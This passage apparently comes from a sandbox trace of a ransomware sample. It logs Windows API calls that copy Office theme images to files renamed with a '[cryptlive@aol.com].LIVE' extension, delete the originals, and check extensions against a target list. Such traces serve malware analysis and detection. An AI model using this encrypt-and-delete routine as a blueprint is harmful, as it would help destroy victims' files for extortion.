Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.050] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1232) returned 1 [0051.050] CloseHandle (hObject=0x204) returned 1 [0051.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0051.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.050] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.050] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.393] GetLastError () returned 0x0 [0051.393] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0051.395] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0051.396] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.396] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.396] SetEndOfFile (hFile=0x214) returned 1 [0051.396] CloseHandle (hObject=0x214) returned 1 [0051.397] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.397] SetEndOfFile (hFile=0x204) returned 1 [0051.398] CloseHandle (hObject=0x204) returned 1 [0051.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.398] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0051.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0051.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0051.398] lstrlenW (lpString=".doc") returned 4 [0051.398] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.398] lstrlenW (lpString=".docx") returned 5 [0051.398] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.398] lstrlenW (lpString=".pdf") returned 4 [0051.399] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.399] lstrlenW (lpString=".xls") returned 4 [0051.399] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.399] lstrlenW (lpString=".xlsx") returned 5 [0051.399] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.399] lstrlenW (lpString=".ppt") returned 4 [0051.399] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0051.399] lstrlenW (lpString=".zip") returned 4 [0051.399] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.399] lstrlenW (lpString=".rar") returned 4 [0051.399] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.399] lstrlenW (lpString=".bz2") returned 4 [0051.399] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.399] lstrlenW (lpString=".7z") returned 3 [0051.399] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0051.399] lstrlenW (lpString=".dbf") returned 4 [0051.399] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0051.399] lstrlenW (lpString=".1cd") returned 4 [0051.399] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0051.399] lstrlenW (lpString=".jpg") returned 4 [0051.399] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0051.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0051.400] lstrlenW (lpString=".doc") returned 4 [0051.400] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.400] lstrlenW (lpString=".docx") returned 5 [0051.400] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.400] lstrlenW (lpString=".pdf") returned 4 [0051.400] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.400] lstrlenW (lpString=".xls") returned 4 [0051.400] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.400] lstrlenW (lpString=".xlsx") returned 5 [0051.400] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.400] lstrlenW (lpString=".ppt") returned 4 [0051.400] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0051.400] lstrlenW (lpString=".zip") returned 4 [0051.400] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.400] lstrlenW (lpString=".rar") returned 4 [0051.400] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.400] lstrlenW (lpString=".bz2") returned 4 [0051.400] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.400] lstrlenW (lpString=".7z") returned 3 [0051.400] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0051.400] lstrlenW (lpString=".dbf") returned 4 [0051.400] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0051.400] lstrlenW (lpString=".1cd") returned 4 [0051.400] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0051.400] lstrlenW (lpString=".jpg") returned 4 [0051.401] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.401] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.401] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.401] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1339) returned 1 [0051.401] CloseHandle (hObject=0x204) returned 1 [0051.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0051.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.402] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.402] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.404] GetLastError () returned 0x0 [0051.404] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x53b, lpOverlapped=0x0) returned 1 [0051.406] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x540, lpOverlapped=0x0) returned 1 [0051.407] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.407] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.407] SetEndOfFile (hFile=0x214) returned 1 [0051.407] CloseHandle (hObject=0x214) returned 1 [0051.408] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.408] SetEndOfFile (hFile=0x204) returned 1 [0051.409] CloseHandle (hObject=0x204) returned 1 [0051.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.409] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0051.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0051.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0051.409] lstrlenW (lpString=".doc") returned 4 [0051.409] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.410] lstrlenW (lpString=".docx") returned 5 [0051.410] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.410] lstrlenW (lpString=".pdf") returned 4 [0051.410] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.410] lstrlenW (lpString=".xls") returned 4 [0051.410] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.410] lstrlenW (lpString=".xlsx") returned 5 [0051.410] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.410] lstrlenW (lpString=".ppt") returned 4 [0051.410] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0051.410] lstrlenW (lpString=".zip") returned 4 [0051.410] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.410] lstrlenW (lpString=".rar") returned 4 [0051.410] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.410] lstrlenW (lpString=".bz2") returned 4 [0051.410] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.410] lstrlenW (lpString=".7z") returned 3 [0051.410] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0051.410] lstrlenW (lpString=".dbf") returned 4 [0051.410] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0051.410] lstrlenW (lpString=".1cd") returned 4 [0051.410] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0051.410] lstrlenW (lpString=".jpg") returned 4 [0051.410] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0051.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0051.411] lstrlenW (lpString=".doc") returned 4 [0051.411] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.411] lstrlenW (lpString=".docx") returned 5 [0051.411] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.411] lstrlenW (lpString=".pdf") returned 4 [0051.411] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.411] lstrlenW (lpString=".xls") returned 4 [0051.411] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.411] lstrlenW (lpString=".xlsx") returned 5 [0051.411] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.411] lstrlenW (lpString=".ppt") returned 4 [0051.411] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0051.411] lstrlenW (lpString=".zip") returned 4 [0051.411] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.411] lstrlenW (lpString=".rar") returned 4 [0051.411] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.411] lstrlenW (lpString=".bz2") returned 4 [0051.411] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.411] lstrlenW (lpString=".7z") returned 3 [0051.411] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0051.411] lstrlenW (lpString=".dbf") returned 4 [0051.411] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0051.411] lstrlenW (lpString=".1cd") returned 4 [0051.412] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0051.412] lstrlenW (lpString=".jpg") returned 4 [0051.412] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.412] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.412] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.413] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16738) returned 1 [0051.413] CloseHandle (hObject=0x204) returned 1 [0051.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0051.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.413] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.413] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.414] GetLastError () returned 0x0 [0051.414] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x4162, lpOverlapped=0x0) returned 1 [0051.416] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0051.417] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.417] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.418] SetEndOfFile (hFile=0x214) returned 1 [0051.418] CloseHandle (hObject=0x214) returned 1 [0051.418] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.418] SetEndOfFile (hFile=0x204) returned 1 [0051.419] CloseHandle (hObject=0x204) returned 1 [0051.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.419] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0051.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0051.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0051.420] lstrlenW (lpString=".doc") returned 4 [0051.420] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.420] lstrlenW (lpString=".docx") returned 5 [0051.420] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.420] lstrlenW (lpString=".pdf") returned 4 [0051.420] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.420] lstrlenW (lpString=".xls") returned 4 [0051.420] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.420] lstrlenW (lpString=".xlsx") returned 5 [0051.420] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.420] lstrlenW (lpString=".ppt") returned 4 [0051.420] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0051.420] lstrlenW (lpString=".zip") returned 4 [0051.420] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.420] lstrlenW (lpString=".rar") returned 4 [0051.420] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.420] lstrlenW (lpString=".bz2") returned 4 [0051.420] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.420] lstrlenW (lpString=".7z") returned 3 [0051.421] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0051.421] lstrlenW (lpString=".dbf") returned 4 [0051.421] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0051.421] lstrlenW (lpString=".1cd") returned 4 [0051.421] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0051.421] lstrlenW (lpString=".jpg") returned 4 [0051.421] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0051.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0051.421] lstrlenW (lpString=".doc") returned 4 [0051.421] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.421] lstrlenW (lpString=".docx") returned 5 [0051.421] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.421] lstrlenW (lpString=".pdf") returned 4 [0051.421] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.421] lstrlenW (lpString=".xls") returned 4 [0051.421] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.421] lstrlenW (lpString=".xlsx") returned 5 [0051.421] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.421] lstrlenW (lpString=".ppt") returned 4 [0051.421] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0051.421] lstrlenW (lpString=".zip") returned 4 [0051.421] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.422] lstrlenW (lpString=".rar") returned 4 [0051.422] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.422] lstrlenW (lpString=".bz2") returned 4 [0051.422] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.422] lstrlenW (lpString=".7z") returned 3 [0051.422] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0051.422] lstrlenW (lpString=".dbf") returned 4 [0051.422] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0051.422] lstrlenW (lpString=".1cd") returned 4 [0051.422] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0051.422] lstrlenW (lpString=".jpg") returned 4 [0051.422] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.422] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.422] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, 